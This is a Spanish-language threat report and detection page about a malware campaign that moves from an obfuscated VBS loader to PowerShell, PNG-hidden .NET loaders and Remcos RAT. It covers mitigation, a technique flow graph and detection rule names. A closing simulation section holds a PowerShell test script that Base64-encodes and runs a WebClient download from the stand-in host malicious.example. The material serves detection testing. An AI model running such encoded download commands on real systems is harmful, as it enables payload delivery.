Rastreando una Campaña de Malware Multi-Vectores: De VBS a Infraestructura Abierta
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe cubre una campaña modular de malware en varias etapas que comienza con un cargador VBS ofuscado en Unicode, se transfiere a un cargador PowerShell sin archivos y utiliza archivos PNG para ocultar un ensamblado .NET que se ejecuta posteriormente en la memoria. A partir de ahí, la campaña puede entregar múltiples cargas útiles, incluidas Remcos RAT, DLLs de elusión de UAC y herramientas basadas en Python. El actor de la amenaza aloja todo el conjunto de herramientas en directorios abiertamente accesibles bajo un solo dominio .xyz y varios subdominios respaldados por Cloudflare, lo que permite cambios rápidos de carga útil y múltiples rutas de entrega, como PDFs armados y scripts por lotes maliciosos.
Investigación
El SOC de MDR de LevelBlue detectó el artefacto VBS inicial a través de SentinelOne, lo puso en cuarentena y decodificó el script para su análisis. Los investigadores encontraron un comando PowerShell codificado en Base64 que descargaba archivos PNG que contenían ensamblados .NET embebidos, los cuales se cargaban directamente en la memoria a través de la reflexión. La revisión de la infraestructura más amplia expuso directorios abiertos que no solo servían a cargadores VBS adicionales, sino también a archivos por lotes maliciosos, archivos ZIP y cargas útiles de Python vinculadas a la misma campaña.
Mitigación
Las defensas recomendadas incluyen restringir la ejecución de tipos de scripts de alto riesgo, como .vbs y .bat, desde rutas escribibles por el usuario, aplicar controles estrictos sobre el uso de PowerShell y monitorear la carga .NET sospechosa en memoria. Los defensores también deben bloquear dominios .xyz e inspeccionar o restringir de cerca el tráfico WebDAV abusado a través de archivos de acceso directo de Internet. En la capa de red, filtrar el acceso a la infraestructura maliciosa conocida puede ayudar a interrumpir la campaña antes.
Respuesta
Si se detecta esta actividad, aísle el punto final afectado, bloquee todos los dominios y URL asociados, y busque los artefactos relevantes de VBS y PowerShell. Los investigadores deben buscar en la memoria el ensamblado .NET reflejado y revisar el sistema en busca de tareas programadas o archivos creados a partir de los directorios expuestos. El contenido de detección debe actualizarse para identificar la puesta en escena de cargas útiles basadas en PNG y cualquier componente de lotes o Python vinculado a la campaña.
"graph TB %% Definiciones de clases classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% Nodos node_vbs_file["<b>Malware</b> – <b>Nombre</b>: VBS Malicioso<br/><b>Ubicación</b>: UsuariosPúblicoDescargasNombre_Archivo.vbs"] class node_vbs_file malware node_t1059_005["<b>Técnica</b> – T1059.005 Intérprete de Comandos y Scripts: Visual Basic<br/><b>Descripción</b>: Ejecutar script VBS para ejecutar comandos"] class node_t1059_005 technique node_t1027["<b>Técnica</b> – T1027 Archivos o Información Ofuscados<br/><b>Descripción</b>: Uso de ofuscación Unicode y Base64"] class node_t1027 technique node_vbs_decode["<b>Acción</b> – Decodificar comando PowerShell en Base64"] class node_vbs_decode action node_t1059_001["<b>Técnica</b> – T1059.001 PowerShell<br/><b>Descripción</b>: Ejecutar comandos PowerShell"] class node_t1059_001 technique node_tls12["<b>Acción</b> – Forzar TLS1.2 para conexiones de red"] class node_tls12 action node_download_png["<b>Acción</b> – Descargar carga PNG desde URL HTTP"] class node_download_png action node_t1071_001["<b>Técnica</b> – T1071.001 Protocolo de Capa de Aplicación: Protocolos Web<br/><b>Descripción</b>: Usar HTTP/HTTPS para transferencia"] class node_t1071_001 technique node_t1659["<b>Técnica</b> – T1659 Inyección de Contenido<br/><b>Descripción</b>: Inyectar contenido malicioso en archivos legítimos"] class node_t1659 technique node_png_extraction["<b>Acción</b> – Extraer ensamblado .NET en Base64 de PNG"] class node_png_extraction action node_t1620["<b>Técnica</b> – T1620 Carga de Código Reflejado<br/><b>Descripción</b>: Cargar ensamblado .NET directamente en memoria"] class node_t1620 technique node_loader["<b>Malware</b> – Cargador PhantomVAI .NET"] class node_loader malware node_fetch_payloads["<b>Acción</b> – Recuperar URLs de cargas adicionales"] class node_fetch_payloads action node_remcos_rat["<b>Malware</b> – Troyano de Acceso Remoto Remcos"] class node_remcos_rat malware node_uac_bypass["<b>Técnica</b> – T1548.002 Eludir Control de Cuentas de Usuario<br/><b>Descripción</b>: Eludir mecanismo de control de elevación"] class node_uac_bypass technique node_scheduled_task["<b>Técnica</b> – T1053 Tarea/Trabajo Programado<br/><b>Descripción</b>: Crear tarea programada para persistencia"] class node_scheduled_task technique node_secondary_stage["<b>Acción</b> – Desplegar scripts por lotes y Python"] class node_secondary_stage action node_process_injection["<b>Técnica</b> – T1055 Inyección de Procesos<br/><b>Descripción</b>: Inyectar cargas en procesos en ejecución"] class node_process_injection technique node_download_further["<b>Acción</b> – Descargar archivos adicionales de directorios de Cloudflare"] class node_download_further action node_c2_communication["<b>Técnica</b> – T1102.002 Servicio Web: Comunicación Bidireccional<br/><b>Descripción</b>: Tráfico C2 HTTPS usando servicios web"] class node_c2_communication technique node_open_directory["<b>Infraestructura</b> – Hospedaje de directorio abierto (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% Conexiones node_vbs_file –>|usa| node_t1059_005 node_vbs_file –>|usa| node_t1027 node_vbs_file –>|ejecuta| node_vbs_decode node_vbs_decode –>|ejecuta| node_t1059_001 node_vbs_decode –>|fuerza| node_tls12 node_vbs_decode –>|descarga| node_download_png node_download_png –>|usa| node_t1071_001 node_download_png –>|puede usar| node_t1659 node_download_png –>|contiene| node_png_extraction node_png_extraction –>|carga vía| node_t1620 node_t1620 –>|carga| node_loader node_loader –>|recupera| node_fetch_payloads node_fetch_payloads –>|entrega| node_remcos_rat node_fetch_payloads –>|entrega| node_uac_bypass node_loader –>|crea| node_scheduled_task node_loader –>|genera| node_secondary_stage node_secondary_stage –>|realiza| node_process_injection node_secondary_stage –>|descarga| node_download_further node_download_further –>|comunica con| node_c2_communication node_c2_communication –>|hospedado en| node_open_directory "
Flujo de Ataque
Detecciones
Comunicación de Dominio Trycloudflare Sospechosa (a través de dns)
Ver
Archivo de Internet Posiblemente Resuelto Por Proceso Inusual (a través de consulta_dns)
Ver
Cadenas de Powershell Sospechosas (a través de powershell)
Ver
LOLBAS WScript / CScript (a través de creación_proceso)
Ver
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (a través de dns)
Ver
Llamada a Métodos .NET Sospechosos desde Powershell (a través de powershell)
Ver
IOC (HashSha1) para detectar: Rastreando una Campaña de Malware Multi-Vector: De VBS a Infraestructura Abierta Parte 1
Ver
IOC (HashSha1) para detectar: Rastreando una Campaña de Malware Multi-Vector: De VBS a Infraestructura Abierta Parte 2
Ver
Detección de Comando PowerShell Codificado en Base64 Usando Net.WebClient [Windows Powershell]
Ver
Cargador PowerShell Accediendo a URLs de PNG y TXT [Conexión de Red de Windows]
Ver
Detección de Método de Ejecución .NET Carga Reflejada (Cargador VAI) vía VBS [Creación de Proceso de Windows]
Ver
Ejecución de Simulación
Requisito previo: La Verificación de Antecedentes de Telemetría y Línea Base debe haber pasado.
Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTP identificadas y deben generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un adversario ha obtenido un comando de PowerShell que descarga una carga maliciosa de un servidor HTTP remoto y la ejecuta. Para evadir la detección simple de scripts, el comando está codificado en Base64 y se ejecuta mediante
powershell.exe -EncodedCommand. Por lo tanto, la línea de comandos contiene las tres cadenas que la regla vigila: powershell, Base64, y Net.WebClient.-
El atacante crea el script de PowerShell:
$wc = New-Object System.Net.WebClient; $wc.DownloadString('http://malicious.example/payload'); -
El script está codificado en UTF‑16LE y Base64.
-
El atacante ejecuta el comando codificado desde un indicador de comandos de Windows (o una tarea programada).
-
-
Script de Prueba de Regresión:
# -------------------------------------------------------------- # Script de PowerShell para simular la descarga Net.WebClient codificada en Base64 # -------------------------------------------------------------- # 1. Definir el comando de una sola línea de PowerShell malicioso $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');' # 2. Codificar el comando en UTF‑16LE y luego en Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $b64 = [Convert]::ToBase64String($bytes) # 3. Ejecutar el comando codificado – esta línea genera la telemetría # que la regla Sigma busca (powershell + Base64 + Net.WebClient) powershell.exe -EncodedCommand $b64 -
Comandos de Limpieza:
# -------------------------------------------------------------- # Limpieza – terminar cualquier proceso de PowerShell perdido iniciado por la prueba # -------------------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } | Stop-Process -Force # Eliminar cualquier archivo temporal (ninguno creado en esta prueba)
Fin del Informe